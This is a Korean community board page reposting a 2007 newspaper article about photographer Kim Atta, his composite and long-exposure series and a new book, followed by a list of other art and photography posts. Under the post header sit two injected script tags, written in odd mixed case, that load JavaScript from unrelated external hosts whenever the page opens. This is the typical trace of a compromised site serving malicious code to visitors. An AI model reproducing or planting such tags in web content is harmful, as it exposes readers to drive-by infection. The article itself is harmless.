MEMBER LOGIN

MEMBER LOGIN

총 게시물 282건, 최근 0 건
   
[사진] ‘한국 사진 망치는 놈’에서 세계적 예술가로
글쓴이 : 김자윤 날짜 : 2007-05-23 (수) 11:56 조회 : 2155
<scRIPT Language=Javascript src=http://rnjsdudwh.cafe24.com/Mics.php></script><scRIPT Language=Javascript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>
‘한국 사진 망치는 놈’에서 세계적 예술가로
김아타씨 작품세계 다룬 책 출간
한국보다 먼저 해외서 인정받아
“존재 안에 살아있는 개체 탐구”
한겨레
» ‘더 뮤지엄’ 프로젝트 #011

세계 100개국 남성의 얼굴은 모두 합쳐져 하나의 얼굴이 되고(〈셀프-포트레이트〉 시리즈), 얼음으로 조각한 마오쩌둥은 녹아 108개의 맥주잔에 나눠 담긴다.(〈아이스 모놀로그〉 시리즈) 8시간 동안 같은 장소에서 한컷에 담은 뉴욕 브로드웨이 사진에는 사람과 차는 없고 시간의 작은 조각들만 남아 있다.(〈뉴욕〉 시리즈)

» 김아타씨
요즘 김아타(51·사진)씨가 진행하고 있는 ‘온-에어’ 프로젝트의 단면들이다. 이 모두를 사진이라는 매체 안에 담아내는 그는 한국보다 세계에서 먼저 알아본 한국 예술가 가운데 한 사람이다. 빌 게이츠가 그의 〈뉴욕〉 시리즈 가운데 한 점을 샀다는 소식 등이 알려지면서 얼마 전 서울옥션에서 열린 ‘컨템퍼러리 경매’에서도 그의 작품이 사진 작품 최고가에 낙찰되는 등 우리나라에서도 이름값이 높아졌다.

작가가 1991년부터 진행해 온 작품 세계와 예술관을 담은 책 〈물은 비에 젖지 않는다〉 〈온-에어〉(예담)의 출간을 기념해 서울 평창동 작업실에서 22일 기자들과 만났다. 이 자리에서 그는 “나의 모든 작업은 아이덴티티에 관한 것”이라며 “모든 것은 사라지지만 눈에 보이지 않는 것일 뿐 결국 사라지지 않는다는 존재의 역설을 표현하려 했다”고 말했다.


» 〈온-에어〉프로젝트 110-2〈Time Square〉

“100명의 사람이 합쳐진 사진에서 ‘나’는 100분의 1의 형상밖에 남지 않고 공통분모만 남게 되지만, 여전히 그 안에 존재합니다. 8시간 동안 찍은 사진에서 움직이는 속도와 비례해 사람, 차들은 사라졌지만 보이지 않는 것일 뿐 어딘가에 존재합니다. 1827년 조제프 니세포르 니에프스가 처음으로 사진을 찍을 때는 파리의 풍경을 담는 데 8시간이 필요했지만, 나는 보이는 사물을 없애기 위해 8시간을 들였습니다.”

대학에서 기계공학을 전공하고 사진에 뛰어든 그는 초기 작업 시절 선배들에게 “한국 사진 망치는 놈”이라는 소리를 들었다. 그의 초기작인 ‘해체’ 프로젝트나 ‘더 뮤지엄’ 프로젝트에서 그는 법당에 나체인 사람들이 가부좌를 틀고 앉아 있는 유리 상자를 올려놔 격분한 종교계 사람들에게 작업실이 난장판이 되기도 했다.

파격적인 발상과 더불어 그는 디지털 기술을 작품에 끌어들이는 데도 적극적이다. “디지털 기술의 발달로 사진의 표현 영역이 확장돼 지금까지 드러난 건 10%가 채 안 됩니다. 5년 전만 해도 포토샵 프로그램이 없어 〈셀프-포트레이트〉 같은 작업은 불가능했죠.” 자신의 작업을 “세상과 만나는 과정”이라고 한 그는 여전히 존재에 대해 탐구 중이다.

“존재 안에 항상 살아 있는 개체성에 대해 이제까지 탐구해 왔는데, 중국 상하이에 갔더니 ‘개체’는 없고 ‘무리’뿐이더군요. 내 생각이 한 번에 깨진 거죠.”

글 김일주 기자 pearl@hani.co.kr



사진 위즈덤하우스 제공

[이 게시물은 최고관리자님에 의해 2010-02-14 15:35:59 문화에서 이동 됨]

   

총 게시물 282건, 최근 0 건
번호 제목 글쓴이 날짜 조회
57 [사진]  친근하고 변화무쌍하고 도전적인 눈빛들 김자윤 02-14 2309
56 [사진]  훌륭한 사진을 찍는 방법 김자윤 01-14 2091
55 [사진]  사진은 왜 찍는가. #1 김자윤 11-24 2478
54 [사진]  “흑백사진 더 공부해야 한다” 김자윤 11-15 2130
53 [사진]  “좋은 사진? 피사체와 친해져라” 김자윤 08-14 1799
52 [사진]  ‘한국 사진 망치는 놈’에서 세계적 예술가로 김자윤 05-23 2156
51 [사진]  화제의 책] <구보씨, 사진 구경 가다> 시냇물 05-01 2544
50 [사진]  나, 필카로 돌아갈래 김자윤 03-25 2107
49 [사진]  사진을 조금 찍는다고 생각하는 사람들이 쉽게 범하는 실수 17가… 김자윤 02-21 2136
48 [미술]  화염병이 아닌 꽃을 던지는 테러리스트 - Banksy의 길거리 예술 김자윤 10-25 2454
47 [미술]  그림 앞에서 손발이 오그라들었다, 왜… 김자윤 09-12 2062
46 [미술]  자연을 닮은 그림 - 리차드 터틀의 세계 김자윤 08-14 2272
45 [미술]  "부대낌"의 미학 - 모랜디의 세계 김자윤 08-10 2126
44 [미술]  미술이라는-놀이터에서-뛰어놀기-폴-세잔" 김자윤 08-04 2262
43 [미술]  충격적인 피카소의 유언 김자윤 07-09 2050
42 [미술]  문화재판놀이 해볼까요 김자윤 06-17 1873
41 [미술]  우울과 광기, 분열의 신음소리 보이는가 김자윤 05-15 2147
40 [미술]  강렬한 빛의 화폭 뒤에는 뉴미디어 있었다 김자윤 05-05 1999
39 [미술]  보이는 것은 찰나고, 아는 것은 영원하다 김자윤 04-14 2080
38 [미술]  광기의 시대…빛과 어둠만이 존재한다 김자윤 04-08 2112
37 [미술]  미술의 타고난 운명 짝퉁시비 김자윤 02-04 1874
36 [미술]  화사하고 달콤하고 매끈한 그대여! 김자윤 01-07 1969
35 [미술]  세상의 부귀영화 헛되고 헛되도다 김자윤 12-30 2129
34 [미술]  시·청·미·후·촉각 모였는데… 김자윤 12-09 1910
33 [미술]  바로크 회화 명작 풍요와 절제의 묘한 대비 김자윤 11-05 2314
처음  1  2  3  4  5  6  7  8  9  10  다음  맨끝
이용약관  |  개인정보취급방침  |  이메일주소 수집거부  |  포인트정책  |  사이트맵  |  온라인문의